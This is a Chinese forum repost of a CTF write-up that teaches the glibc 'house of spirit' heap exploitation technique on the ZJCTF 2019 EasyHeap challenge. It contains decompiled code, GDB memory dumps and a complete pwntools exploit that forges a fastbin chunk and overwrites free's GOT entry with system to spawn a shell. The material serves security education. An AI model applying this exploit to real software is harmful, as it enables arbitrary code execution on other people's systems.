安全矩阵

 找回密码
 立即注册
搜索
查看: 1925|回复: 0

GDB调试堆漏洞之house of spirit

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-6-29 17:18:34 | 显示全部楼层 |阅读模式
GDB调试堆漏洞之house of spirit原创 H.R.P [url=]合天网安实验室[/url] 4天前

原创稿件征集

邮箱:edu@antvsion.com
QQ:3200599554
黑客与极客相关,互联网安全领域里
的热点话题
漏洞、技术相关的调查或分析
稿件通过并发布还能收获
200-800元不等的稿酬

何为house of spirit?

该技术出自于2005年的The Malloc Maleficarum这篇文章,是一种用于获得某块内存区域控制权的技术

例如一个位于fastbin的区块是不可控的,但是我们希望对其进行读写操作只需他刚好满足以下两个条件即可。

第一,改区域的前后内存可控(通俗来讲就是堆溢出)

第二,存在一个可控指针作为free()函数的参数(此处通俗讲就是控制chunk 的fd或者bk指针),通过堆排布,

伪造fake chunk让他进入到fastbins,下次我们用同样大小的内存申请一个chunk就可以把这个chunk取出,从而得到控制权。
今天我用一道例题来讲解如何从一个新手掌握GDB调试house of spirit的利用思想
题目:[ZJCTF 2019]EasyHeap
题目可在BUU上搜索得到
checksec如下
  1. q@ubuntu:~/Desktop$ checksec easyheap
  2. [*] '/home/q/Desktop/easyheap'
  3.     Arch:     amd64-64-little
  4.     RELRO:    Partial RELRO
  5.     Stack:    Canary found
  6.     NX:       NX enabled
  7.     PIE:      No PIE (0x400000)
复制代码
先看main函数里面一个点
v3==4869 然后magic>=0x1305就可以进入到后门
不过这个是假的后门远程没有这个路径
接着就是没用输出功能,可能会选择劫持stdout或者使用house of spirit
我们先继续分析
  1. int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
  2. {
  3.   int v3; // eax
  4.   char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  5.   unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  6.   v5 = __readfsqword(0x28u);
  7.   setvbuf(stdout, 0LL, 2, 0LL);
  8.   setvbuf(stdin, 0LL, 2, 0LL);
  9.   while ( 1 )
  10.   {
  11.     while ( 1 )
  12.     {
  13.       menu();
  14.       read(0, buf, 8uLL);
  15.       v3 = atoi(buf);
  16.       if ( v3 != 3 )
  17.         break;
  18.       delete_heap();
  19.     }
  20.     if ( v3 > 3 )
  21.     {
  22.       if ( v3 == 4 )
  23.         exit(0);
  24.       if ( v3 == 4869 )
  25.       {
  26.         if ( (unsigned __int64)magic <= 0x1305 )
  27.         {
  28.           puts("So sad !");
  29.         }
  30.         else
  31.         {
  32.           puts("Congrt !");
  33.           l33t();
  34.         }
  35.       }
  36.       else
  37.       {
  38. LABEL_17:
  39.         puts("Invalid Choice");
  40.       }
  41.     }
  42.     else if ( v3 == 1 )
  43.     {
  44.       create_heap();
  45.     }
  46.     else
  47.     {
  48.       if ( v3 != 2 )
  49.         goto LABEL_17;
  50.         edit_heap();
  51.     }
  52.   }
  53. }
复制代码
一个个函数看下去,发现漏洞点在edit那里
(create那的话 chunk大小没限制,可惜这里没有输出功能不然利用mmap的特性直接泄露libc也是可以的,如果还是想的话配合劫持stdout也可以,只不过过于麻烦)
漏洞如下这小部分代码,堆的大小创建后不可更改,但是他可以更改输入内容的大小,意味着这里存在堆溢出
  1. if ( *(&heaparray + v1) )
  2.   {
  3.     printf("Size of Heap : ");
  4.     read(0, buf, 8uLL);
  5.     v2 = atoi(buf);
  6.     printf("Content of heap : ");
  7.     read_input(*(&heaparray + v1), v2);
  8.     puts("Done !");
  9.   }
复制代码
edit()
  1. unsigned __int64 edit_heap()
  2. {
  3.   int v1; // [rsp+4h] [rbp-1Ch]
  4.   __int64 v2; // [rsp+8h] [rbp-18h]
  5.   char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  6.   unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  7.   v4 = __readfsqword(0x28u);
  8.   printf("Index :");
  9.   read(0, buf, 4uLL);
  10.   v1 = atoi(buf);
  11.   if ( v1 < 0 || v1 > 9 )
  12.   {
  13.     puts("Out of bound!");
  14.     _exit(0);
  15.   }
  16.   if ( *(&heaparray + v1) )
  17.   {
  18.     printf("Size of Heap : ");
  19.     read(0, buf, 8uLL);
  20.     v2 = atoi(buf);
  21.     printf("Content of heap : ");
  22.     read_input(*(&heaparray + v1), v2);
  23.     puts("Done !");
  24.   }
  25.   else
  26.   {
  27.     puts("No such heap !");
  28.   }
  29.   return __readfsqword(0x28u) ^ v4;
  30. }
复制代码

整合信息(前置知识fastbin attack+unsortedbin)
(简单的说就是如下这样)



  1. 其中①②③⑧⑨是fastbin attack需要做的,④⑤⑥⑦是unsortedbin attack需要做的:
  2. ①malloc fastchunk 0x70。
  3. ②free掉fastchunk。
  4. ③将fastchunk的fd变为target。
  5. ④malloc 0x100。
  6. ⑤free 0x100。
  7. ⑥change 0x100+0x8的位置改为target(就是bk的位置)。
  8. ⑦malloc 0x100,此时arena的地址被写入target中去了。
  9. ⑧malloc 0x70,将第一次malloc的堆块取出来,使fastbin中只有target。
  10. ⑨再次malloc 0x70 ==>就是取出target。
复制代码
结论:
上面简单分析了下,我们有了堆溢出,有了system函数和free()函数,对于house of spirit 来说是完美条件
可以利用堆溢出进行构造fake chunk进而修改该chunk的fd或者bk指针,顺带写入/bin/sh
接下来利用house of spirit去更改free的got表指向system的plt,最后执行free就可以getshell
下面进行详细的分析
详细解答
那么我们可以从构造fake chunk控制堆的任意内容
(prev_size,fd,bk,堆的输入内容)
我们先来看下正常的chunk长什么样子
(部分脚本,脚本后面就是chunk)
  1. from pwn import *

  2. context.log_level = 'debug'



  3. def pause_debug():

  4.     log.info(proc.pidof(p))

  5.     pause()



  6. def create(size, content):

  7.     p.sendlineafter('choice :', str(1))

  8.     p.sendlineafter('Heap :', str(size))

  9.     p.sendafter('heap:', content)



  10. def edit(idx, size, content):

  11.     p.sendlineafter('choice :', str(2))

  12.     p.sendlineafter('Index :', str(idx))

  13.     p.sendlineafter('Heap :', str(size))

  14.     p.sendafter('heap :', content)



  15. def delete(idx):

  16.     p.sendlineafter('choice :', str(3))

  17.     p.sendlineafter('Index :', str(idx))





  18. proc_name = './easyheap'

  19. p = process(proc_name)

  20. #p = remote('node3.buuoj.cn', 27185)

  21. elf = ELF(proc_name)



  22. create(0x68, b'woaini') # 0

  23. create(0x68, b'a') # 1

  24. create(0x68, b'a') # 2

  25. gdb.attach(p)
复制代码
chunk  我们先找到我们存放输入内容的地方,我们刚才创建的堆的大小都是0x70的
但是实际上我们没有那么多空间可以利用的,在0x2545070此处存放的是chunk的大小
下面的地方0x2545070 前面8个字节存放fd(前驱)指针,后面八个字节存放bk(后继)指针
(这里先说个思维,逆向思维!非常重要是做pwn题目的基础。这里的堆的结构体是最基础的只有一项内容,要是多来几项呢?

比如 一本书的ID 名字 内容等等,他在gdb调试后所呈现的具体存放位置关系是怎么样的呢,我们要如何才能修改都是需要从ida里面逆向分析得到在利用gdb调试获取信息 这里推荐一道buu的题目关于
off by null的知识点的但是如果你成功的攻破后,逆向能力会有不小的提升
题目:asis2016_b00ks
  1. pwndbg> search woaini
  2. [heap]          0x2545010 0x696e69616f77 /* 'woaini' */
  3. warning: Unable to access 16000 bytes of target memory at 0x7f810c08ed05, halting search.
  4. pwndbg> x/32gx 0x2545010
  5. 0x2545010:  0x0000696e69616f77  0x0000000000000000
  6. 0x2545020:  0x0000000000000000  0x0000000000000000
  7. 0x2545030:  0x0000000000000000  0x0000000000000000
  8. 0x2545040:  0x0000000000000000  0x0000000000000000
  9. 0x2545050:  0x0000000000000000  0x0000000000000000
  10. 0x2545060:  0x0000000000000000  0x0000000000000000
  11. 0x2545070:  0x0000000000000000  0x0000000000000071
  12. 0x2545080:  0x0000000000000061  0x0000000000000000
复制代码
上面我们讲了正常的堆块的模样,下面我们来对他进行修整,做成我们的fake chunk
为了让这个fake chunk被检测机制所认可,这里我们需要修改prev_size令他等于1
也就是找到存放0x7f的地址我们可以从IDA里面先看看然后配合GDB去寻找

IDA的chunk开始的地方在该程序里面叫heaparray
我们向上寻找,从尾地址为A0的地方开始到B0夹杂着libc
我们都明白libc的开头就是0X7f 那么我们可以不限麻烦的在gdb从0x6020A0开始往下面开
最后发现在本程序中0x6020AD的内容就是0x7f
(输入命令x/32gx 0x6020AD)
  1. .bss:00000000006020A0 ; ===========================================================================
  2. .bss:00000000006020A0
  3. .bss:00000000006020A0 ; Segment type: Uninitialized
  4. .bss:00000000006020A0 ; Segment permissions: Read/Write
  5. .bss:00000000006020A0 _bss            segment align_32 public 'BSS' use64
  6. .bss:00000000006020A0                 assume cs:_bss
  7. .bss:00000000006020A0                 ;org 6020A0h
  8. .bss:00000000006020A0                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
  9. .bss:00000000006020A0                 public stdout@@GLIBC_2_2_5
  10. .bss:00000000006020A0 ; FILE *stdout
  11. .bss:00000000006020A0 stdout@@GLIBC_2_2_5 dq ?                ; DATA XREF: LOAD:0000000000400410↑o
  12. .bss:00000000006020A0                                         ; main+17↑r
  13. .bss:00000000006020A0                                         ; Alternative name is 'stdout'
  14. .bss:00000000006020A0                                         ; Copy of shared data
  15. .bss:00000000006020A8                 align 10h
  16. .bss:00000000006020B0                 public stdin@@GLIBC_2_2_5
  17. .bss:00000000006020B0 ; FILE *stdin
  18. .bss:00000000006020B0 stdin@@GLIBC_2_2_5 dq ?                 ; DATA XREF: LOAD:0000000000400428↑o
  19. .bss:00000000006020B0                                         ; main+35↑r
  20. .bss:00000000006020B0                                         ; Alternative name is 'stdin'
  21. .bss:00000000006020B0                                         ; Copy of shared data
  22. .bss:00000000006020B8 completed_7594  db ?                    ; DATA XREF: __do_global_dtors_aux↑r
  23. .bss:00000000006020B8                                         ; __do_global_dtors_aux+13↑w
  24. .bss:00000000006020B9                 align 20h
  25. .bss:00000000006020C0                 public magic
  26. .bss:00000000006020C0 magic           dq ?                    ; DATA XREF: main:loc_400D05↑r
  27. .bss:00000000006020C8                 align 20h
  28. .bss:00000000006020E0                 public heaparray
  29. .bss:00000000006020E0 ; void *heaparray
  30. .bss:00000000006020E0 heaparray       dq ?                    ; DATA XREF: create_heap+30↑r
  31. .bss:00000000006020E0                                         ; create_heap+8C↑w ...
复制代码
(包含0x7f结尾的)
  1. pwndbg> x/32gx 0x6020AD
  2. 0x6020ad:   0x07fea398e0000000  0x000000000000007f
  3. 0x6020bd:   0x0000000000000000  0x0000000000000000
复制代码
下面上构造fake chunk 的脚本
  1. delete(2)

  2. edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad))

  3. gdb.attach(p)

  4. create(0x68, b'b') # 2

  5. create(0x68, b'b') # 3 fake_chunk

  6. edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free']))

  7. edit(0, 0x8, p64(elf.plt['system']))

  8. delete(1)

  9. p.interactive()
复制代码

我们这里的fake chunk选的是chunk 1 释放chunk2是为了让他的fd指针指向chunk1  
接着利用如下语句,写入内容的大小改为0x78(实际上大小为0x70),然后传入/bin/sh后填充\x00到达我们的chunk size保持大小不变依然是0x71,接着传入0x6020ad也就是上面提到的0x7f的地址为了让这个chunk1 fake chunk被程序检测所认可

           

edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad))
下面我们来看看修改好的QWQ
为什么是0x68,gdb已经给我们很好的结果了。/bin/sh占位就是8个字节(0x0068732f6e69622f),我们从0x80到0xe0共计0x60加上0x80后面的0x88那部分空白合并起来就是0x68了 然后传入0x71和0x6020ad 我们的fake chunk就好了

  1. pwndbg> search /bin/sh
  2. [heap]          0x1be8080 0x68732f6e69622f /* '/bin/sh' */
  3. libc-2.23.so    0x7f355118be57 0x68732f6e69622f /* '/bin/sh' */
  4. warning: Unable to access 16000 bytes of target memory at 0x7f35511c6d06, halting search.
  5. pwndbg> x/32gx 0x1be8080
  6. 0x1be8080:  0x0068732f6e69622f  0x0000000000000000
  7. 0x1be8090:  0x0000000000000000  0x0000000000000000
  8. 0x1be80a0:  0x0000000000000000  0x0000000000000000
  9. 0x1be80b0:  0x0000000000000000  0x0000000000000000
  10. 0x1be80c0:  0x0000000000000000  0x0000000000000000
  11. 0x1be80d0:  0x0000000000000000  0x0000000000000000
  12. 0x1be80e0:  0x0000000000000000  0x0000000000000071
  13. 0x1be80f0:  0x00000000006020ad  0x0000000000000000
复制代码
fake chunk一号准备完成
下面我们改free的got表为system的plt表,(不理解什么是got和plt的可以去康康知乎上的文章,简单说就是plt寻址got,然后got寻址真正地址去执行函数,我们在这把free的got改成system的plt)之后咋们执行free操作就是相当于执行system操作了
为什么是0x23大小的junk数据传入?
  1. create(0x68, b'b') # 2
  2. create(0x68, b'b') # 3 fake_chunk
  3. edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free']))
  4. edit(0, 0x8, p64(elf.plt['system']))
  5. delete(1)
  6. p.interactive()
复制代码
这里可以用GDB调试来看下(做pwn题离不开GDB的调试必须要有耐心)
  1. pwndbg> search ccccccccc
  2. easyheap        0x6020bd 0x6363636363636363 ('cccccccc')
  3. easyheap        0x6020c6 0x6363636363636363 ('cccccccc')
  4. easyheap        0x6020cf 0x6363636363636363 ('cccccccc')
  5. warning: Unable to access 16000 bytes of target memory at 0x7f50d863ed08, halting search.
  6. pwndbg> x/32gx 0x6020bd
  7. 0x6020bd:   0x6363636363636363  0x6363636363636363
  8. 0x6020cd:   0x6363636363636363  0x6363636363636363
  9. 0x6020dd:   0x0000602018636363  0x0001dd8080000000
  10. 0x6020ed <heaparray+13>:    0x0001dd80f0000000  0x00006020bd000000
  11. 0x6020fd <heaparray+29>:    0x0000000000000000  0x0000000000000000
  12. 0x60210d <heaparray+45>:    0x0000000000000000  0x0000000000000000
  13. 0x60211d <heaparray+61>:    0x0000000000000000  0x0000000000000000
  14. 0x60212d <heaparray+77>:    0x0000000000000000  0x0000000000000000

  15. 可以看见在0x6020dd上有我们传入的got表0x0000602018
  16. 我们再看看heaparray上的数据内容

  17. pwndbg> x/32gx 0x6020ed-13
  18. 0x6020e0 <heaparray>:   0x0000000000602018  0x0000000001dd8080
  19. 0x6020f0 <heaparray+16>:    0x0000000001dd80f0  0x00000000006020bd
  20. 0x602100 <heaparray+32>:    0x0000000000000000  0x0000000000000000
  21. 0x602110 <heaparray+48>:    0x0000000000000000  0x0000000000000000
  22. 0x602120 <heaparray+64>:    0x0000000000000000  0x0000000000000000

  23. 0x00000000006020bd该地址指向我们的chunk3存放的内容
  24. 0x0000000001dd80f0该地址为指向我们的chunk3存放的内容的地址
  25. 其真实起始点地址是0x1dd80e0 如下
  26. pwndbg> heap
  27. Allocated chunk | PREV_INUSE
  28. Addr: 0x1dd8000
  29. Size: 0x71

  30. Allocated chunk | PREV_INUSE
  31. Addr: 0x1dd8070
  32. Size: 0x71

  33. Allocated chunk | PREV_INUSE #chunk3
  34. Addr: 0x1dd80e0
  35. Size: 0x71

  36. Top chunk | PREV_INUSE
  37. Addr: 0x1dd8150
  38. Size: 0x20eb1


  39. 而heaparray
  40. 0x6020e0 <heaparray>:   0x0000000000602018  0x0000000001dd8080
  41. 指向我们的free()的got表
复制代码
关于为什么选择edit(0, 0x8, p64(elf.plt['system']))这样传入并没有太多用意,p64(elf.plt['system'])刚好八个字节
这里篇幅有限,若有兴趣可以寻找资料学习
EXP:
  1. from pwn import *

  2. context.log_level = 'debug'



  3. def pause_debug():

  4.     log.info(proc.pidof(p))

  5.     pause()



  6. def create(size, content):

  7.     p.sendlineafter('choice :', str(1))

  8.     p.sendlineafter('Heap :', str(size))

  9.     p.sendafter('heap:', content)



  10. def edit(idx, size, content):

  11.     p.sendlineafter('choice :', str(2))

  12.     p.sendlineafter('Index :', str(idx))

  13.     p.sendlineafter('Heap :', str(size))

  14.     p.sendafter('heap :', content)



  15. def delete(idx):

  16.     p.sendlineafter('choice :', str(3))

  17.     p.sendlineafter('Index :', str(idx))





  18. proc_name = './easyheap'

  19. p = process(proc_name)

  20. #p = remote('node3.buuoj.cn', 27185)

  21. elf = ELF(proc_name)



  22. create(0x68, b'woaini') # 0

  23. create(0x68, b'a') # 1

  24. create(0x68, b'a') # 2

  25. #gdb.attach(p)

  26. delete(2)

  27. edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad))

  28. #gdb.attach(p)

  29. create(0x68, b'b') # 2

  30. create(0x68, b'b') # 3 fake_chunk

  31. edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free']))


  32. edit(0, 0x8, p64(elf.plt['system']))

  33. delete(1)

  34. p.interactive()
复制代码
心得简述:
做PWN题非常考验耐心与基础,IDA的逆向分析是最为主要的一步,一定要静下来看伪代码和汇编
有了多种思路不要嫌麻烦一定要上机去用GDB一步步调试。会了各种套路技巧固然厉害,但是没有牢固


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 06:28 , Processed in 0.016987 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表